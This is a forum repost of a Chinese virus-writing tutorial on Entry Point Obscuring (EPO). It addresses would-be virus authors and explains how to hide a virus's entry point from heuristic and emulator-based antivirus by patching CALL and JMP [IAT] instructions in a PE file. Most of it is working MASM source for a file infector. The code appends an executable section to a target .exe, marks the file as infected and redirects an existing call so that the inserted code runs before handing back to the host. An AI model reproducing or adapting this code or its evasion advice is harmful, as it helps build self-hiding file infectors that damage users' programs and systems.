发新话题
打印

[转载]EPO技术简介

[转载]EPO技术简介

文章作者:Hume/CVC.GB

1.什么是EPO?
EPO是EntryPoint Obscuring技术的简写,意即入口模糊技术,该技术改变了传统的修改PE头部的入口点,使其指向病毒代码入口而使病毒代码得以执行的典型方法。
2.为什么需要EPO?
  这要从反病毒技术的发展谈起,随着当今反病毒技术的不断提高,启发式查毒,虚拟机执行等方法广泛被各杀毒厂商采用,这些技术通过判断程序是否具有通常的病毒特征来发现病毒,使得传统类型病毒即使是新写的病毒也很容易被杀毒软件查出来。然而道高一尺,魔高一丈,为了对抗启发查毒,聪明Vxer们发明了EPO技术。
要想明白什么是EPO,首先看看启发查毒是如何判断程序被病毒感染的。很多杀毒软件不可能对PE文件的所有部分进行扫描,因为那样的话太耗时了,大部分只是对PE入口处的代码进行启发式检查。试想如果只是简单地修改PE的入口,则很容易被杀毒软件识别,如果可以把病毒代码隐藏代PE文件的某个中间的位置,那么要想找出病毒来势必要困难的多。EPO正是这样一种思想,通过把并入入口置于PE中某个不不显眼的位置,来减少被查杀的可能性。

   多态和变形是当今病毒的发展趋势,但是虚拟机的出现还是给多态来了很大的威胁,为了减少被查杀的可能性,病毒应该综合采取各种手段进行自身的隐藏,而不仅仅是多态和变形,EPO正是这些技术之一。

我们的病毒需要EPO技术。

3.如何实现EPO?


   最早的EPO不改变PE头中入口点的值,相反,他改变了程序入口处的代码,比如改成JMP VirStart

跳转到病毒体执行,当然这样的技术在现在毫无用处,只能躲避最原始的对代码入口是否正常的检查。

因为在大多数程序中,代码段通常都不是最后一个节,而病毒采用的很多的则是在PE最后添加新节或在

最后一个节附加代码,如果杀毒软件发现入口在最后一个节,则很可能就被感染了病毒。上述方法则通过

伪装而躲过该种检测。

   当今这种EPO已经没有什么用处了。如果你准备采用EPO技术作为你的病毒防护手段的话,请接着读下

去吧。

   另外一种实现EPO的方法是在PE文件代码中的任意指令位置,将其替换成JMP VirStart或CALL或

其他转移指令跳转到病毒体去执行。此想法是自然的,但实现上有困难,首先,我们很难判断PE中的任意

位置是否是一条指令的开始,因为这无异于要写一个反汇编器,对于简单的病毒,代价太大了。不过这是

最完美的方法,因为现在在病毒中实现反编译引擎也是可能的,可以参考一些大型的变形病毒。

   还有一种方法就是PATCH IAT的函数,因为Win32函数是调用频率很高的。好奇和聪明的你可能会问,

为什么不直接Patch IAT中相应的函数地址呢?原因在于,PE loader加载PE的时候会用正确的函数地址填

充这些地址,你的PATCH内容就会被覆盖。

因此只能采取变通的方法,通常是查找特定的指令,比如CALL [XXX]或JMP [XXX]指令,将XXX替换

成指向病毒入口的地址。CALL DWORD PTR [XXX]和JMP DWORD PTR [XXX]通常是跳转到真正IAT函数地址

去执行的指令。当然也可以查找其他指令,比如直接段内转移CALL XXX指令,替换XXX地址为指向VirStart

的地址。

   

   当然还可以搜索和替换其他指令,比如高级语言中最常用的PUSH ESP,MOV ESP,EBP指令对代表一个

函数的开始,事实上,搜索任何指令都是可以的。



这过程需要一些计算,这不是我在这篇短文中能详细介绍的了,争取在下一期的杂志中详细介绍吧。



4.问题及对策


   通过前面的说明你应该已经了解了EPO的用法和原理,对EPO已经产生了过度的乐观情绪。现在,

让我给你浇一盆冷水,看看EPO的缺陷都在那些地方以及对策。

   a.首先,搜索任意指令的方法有一定的局限。如果代码段中有数据该怎么办?很不幸地告诉你:

凉拌吧!数据中恰好有你待替换的指令机器码相同的数据,你只好认命了!

   b.其次,如果替换的指令是废代码,也就是说在程序执行过程中,几乎永远不会执行到,那又怎么

办?

   c.再次,如果因为上面原因,导致Virus设计失败,导致目标程序无法正常执行,病毒几乎无法传

播,而且由于杀死了目标程序,不但起不到EPO的作用,反而暴露了自己,又该怎么办?



   也不要着急,任何技术总是有其优越性和缺陷的只要运用得当,还是可以起到比较好的效果,针对上

面的问题a,b,c,下面是一些对策c,d,e。

   

c.尽量进行附加检查,比如e8(call XXX,段内直接转移),要看一下其目的是否是有效的代码段

内的地址,如果不是,就几乎肯定是数据。其他特征的指令也要根据特点进行检查。

   d.为了增加执行机会,最好替换对API调用的指令的地址,比如最普遍的是JMP DWORD PTR [XXX],

因为API是经常调用的,其执行概率要大一些。另外值得一提的是很多病毒在使用EPO时都替换对

ExitProcess的调用指令,这样,病毒会在最后执行,也许有助于躲避杀毒软件。当然全部公开的秘密

就不是秘密了,同样会很快遭到封杀。

   e.加强学习,仔细思考,多做调试,减少错误。如果实在没有把握,则不用EPO,不要让技术成为

你病毒的最大缺点。



5.代码实例(PKXP)


  下面是PKXP作的一个小试验,试验EPO的应用,拿来作为示例吧:

例子下载

  1.第一个节是.text

  2.在.text中一定可以找到call xxxxxxxx.(E8 xxxxxxxx).

  3.JMP DWORD PTR [YYYYYYYY]在.text中

  4.根据找到的call xxxxxxxx计算出来的地址不会越界造成内存错误。



思路

  1.判断PE合法性和可感染性(有多余空间)

  2.添加新节,修改SizeOfImage

  3.开始EPO

    1)在.text中寻找E8 xxxxxxxx,根据xxxxxxxx获得JMP DWORD …的文件偏移。

    2)计算跳转到VStart的相对距离,覆盖xxxxxxxx。

    3)拷贝JMP DWORD PTR [YYYYYYYY]中的YYYYYYYY到病毒体内。

  4.写入病毒代码,弹出对话框后,执行JMP DWORD PTR [YYYYYYYY]



特点

  EPO部分只有30行,极适合初学EPO者.
复制内容到剪贴板
代码:
.386

.model  flat, stdcall



option  casemap:none

include useful.inc



PEGame SEGMENT

start:

      @pushsz 'e:\test\m.exe'

      call   InfectFile

      Invoke  MessageBox,0,0,0,0  ;用来装载User32,后面用

      ret   

      

InfectFile PROC FileName : DWORD



     LOCAL  hFile   : DWORD

     LOCAL  hMapping : DWORD

     LOCAL  pMapping : DWORD

     LOCAL  ByteWrite: DWORD



     pushad

     push  NULL

     push  FILE_ATTRIBUTE_NORMAL

     push  OPEN_EXISTING

     push  NULL

     push  FILE_SHARE_READ+FILE_SHARE_WRITE

     push  GENERIC_READ+GENERIC_WRITE

     push  FileName

     call  CreateFile        

     cmp   eax,INVALID_HANDLE_value

     jz    IF_Exit

     mov   hFile,eax

     

     xor   edi , edi      ;节约空间

     push  edi

     push  edi

     push  edi

     push  PAGE_READWRITE

     push  edi

     push  hFile

     call  CreateFileMapping      

     or    eax,eax

     jz    IF_F3

     mov   hMapping , eax



     push  edi          ;edi=0

     push  edi

     push  edi            

     push  FILE_MAP_READ+FILE_MAP_WRITE

     push  hMapping

     call  MapViewOfFile           

     or    eax,eax

     jz    IF_F2         

     mov   pMapping,eax         

     mov   esi,eax

   

     assume esi:ptr IMAGE_DOS_HEADER

     cmp   [esi].e_magic,IMAGE_DOS_SIGNATURE  

     jnz   IF_F1

     cmp   [esi].e_lfarlc,040h  

     jnz   IF_F1

      

     add   esi,[esi].e_lfanew

     assume esi:ptr IMAGE_NT_HEADERS

     cmp   [esi].Signature,IMAGE_NT_SIGNATURE   ;是PE文件吗?

     jnz   IF_F1

     cmp   [esi].OptionalHeader.Subsystem,2

     jnz   IF_F1        

     cmp   [esi].OptionalHeader.CheckSum,0 ;避免感染!0的文件

     jnz   IF_F1              ;合法性判断完毕,开始感染

     cmp   word ptr [esi+1ah],0815h ;设置感染标志

     jz    IF_F1

            

     mov  eax,[esi].OptionalHeader.AddressOfEntryPoint

     add  eax,[esi].OptionalHeader.ImageBase

     mov  HostEntry,eax              ;保存原入口



     movzx  eax,[esi].FileHeader.NumberOfSections      

     mov   ecx,sizeof IMAGE_SECTION_HEADER

     mul   ecx

     add   eax,sizeof IMAGE_NT_HEADERS           

     add   eax,esi

     mov   edi,eax

     add   eax,sizeof IMAGE_SECTION_HEADER

     sub   eax,pMapping               

     cmp   eax,[esi].OptionalHeader.SizeOfHeaders

     ja    IF_F1



;*****************************************

;空间允许, ^0^,edi指向新节

;*****************************************



     inc   [esi].FileHeader.NumberOfSections     

         

     assume edi:ptr IMAGE_SECTION_HEADER      

     mov   dword ptr[edi],'cvc.'      ;Name

     

     push  VEnd-VStart

     pop   [edi].Misc.VirtualSize      ;VirtualSize

   

     push  [esi].OptionalHeader.SizeOfImage

     pop   [edi].VirtualAddress      ;VirtualAddress   

         

     mov   eax,[edi].Misc.VirtualSize

     mov   ecx,[esi].OptionalHeader.FileAlignment

     div   ecx

     inc   eax

     mul   ecx

     mov   [edi].SizeOfRawData,eax      ;SizeOfRawData



     lea   eax,[edi-28h+14h]          ;prev PointerToRawData

     mov   eax,[eax]

     lea   ecx,[edi-28h+10h]          ;prev SizeOfRawData

     add   eax,[ecx]

     mov   [edi].PointerToRawData,eax    ;PointerToRawData

     mov   [edi].Characteristics,0E0000020h  ;可读可写可执行





;***************************************************************

;更新SizeOfImage,使新节可以正确加载并首先执行

;***************************************************************

   

     mov  eax,[edi].Misc.VirtualSize

     mov  ecx,[esi].OptionalHeader.SectionAlignment

     div  ecx

     inc  eax

     mul  ecx

     add  eax,[esi].OptionalHeader.SizeOfImage

     mov  [esi].OptionalHeader.SizeOfImage,eax

     mov  word ptr [esi+1ah],0815h  ;写入感染标志            



     push  pMapping          ;文件内存映像首地址

     push  esi              ;esi -> IMAGE_NT_HEADER

     push  edi              ; edi -> new Section

     call   SimpleEPO  

     

     

     @pushsz  'User32.dll'

     call    GetModuleHandle

     @pushsz  'MessageBoxA'

     push    eax

     call    GetProcAddress

     mov    MsgBox,eax       ;得到MessageBoxA的线形地址



     push    FILE_BEGIN

     push    0

     push    [edi].PointerToRawData

     push    hFile

     call    SetFilePointer

         

;****************************************************************

;设置文件指针到结尾后,写入从VStart开始的代码,大小经过文件对齐

;****************************************************************

     push   0

     lea    eax,ByteWrite

     push   eax

     push   [edi].SizeOfRawData

     push   offset VStart

     push   hFile

     call   WriteFile  

     

IF_F1:

    push   pMapping

    call   UnmapViewOfFile      

IF_F2:

    push   hMapping

    call   CloseHandle

IF_F3:

    push   hFile

    call   CloseHandle

IF_Exit:

    popad

    ret  4

InfectFile ENDP     



;---------------------------------StartEPO------------------------------

;入口参数: pNewSection  :  新添加节(病毒节)的指针

;        pNTHeader  :  文件IMAGE_NT_HEADER的指针

;        pMapping   :  文件指针

;出口参数: 修改了文件.text节的第一条CALL  XXXXXXXX 指令,跳转到VStart.

;拷贝JMP DWORD PTR [YYYYYYYY]中的YY…到Ret2ApiCall.              

;--------------------------------------------------------------------------

SimpleEPO  PROC  pNewSection : DWORD ,pNTHeader : DWORD , pMapping : DWORD



      pushad

      mov     edx , pNTHeader

      add     edx , sizeof  IMAGE_NT_HEADERS

      assume   edx : ptr IMAGE_SECTION_HEADER



      mov     ecx , [edx].SizeOfRawData

      mov     edi , [edx].PointerToRawData

      add     edi ,  pMapping     ;Now edi = .text  的在文件中的偏移



@SearchE8:      

      mov    al  , 0e8h

      repne   scasb           ;search for call xxxxxxxx

      mov    esi , edi        ;edi - > xxxxxxxx 而不是 e8 xx xx xx xx.

      lodsd                 ;search call relative

      add    esi , eax        ;esi - > JMP DWORD PTR [YYYYYYYY]

      lodsw

      cmp    ax , 025ffh       ;esi - > YYYYYYYY

      jnz    @SearchE8



PatchCALLandCopyJMP:                                       

      mov    eax , [edx].VirtualAddress  ;.text VirtualAddress

      add    eax , edi

      sub    eax , pMapping

      sub  eax , [edx].PointerToRawData ;eax contains VA of CALL XXXXXXXX

      add    eax , 4          ;sizeof(CALL xxxxxxxx) – sizeof(0E8h)

      mov    edx , pNewSection

      mov    edx , [edx].VirtualAddress

      xchg    eax , edx

      sub    eax , edx           ;get  new XXXXXXXX

      stosd

      mov    edi , offset Ret2ApiCall   ;write YYYYYYYY

      lodsd

      stosd            

      popad

      ret    12

SimpleEPO ENDP         





;***************************************************************

;从VStart->VEnd是将插入到e:\test\m.exe的代码

;功能是弹出一个对话框,然后返回原入口执行

;***************************************************************

VStart:

    pushad

    call  gdelta

gdelta:

    pop  ebp

    sub  ebp,offset gdelta

    lea  eax, [ebp+offset s]

    push  0

    push  eax

    push  eax

    push  0      

    mov  eax,12345678h

MsgBox  =   dword ptr $-4

    call  eax     

    popad

    db    0FFh,25h

Ret2ApiCAll:

    dd   0   ; [zzzzzzzz]

s    db   'hi',0     

VEnd:

EPOGame ends

end   start

TOP

发新话题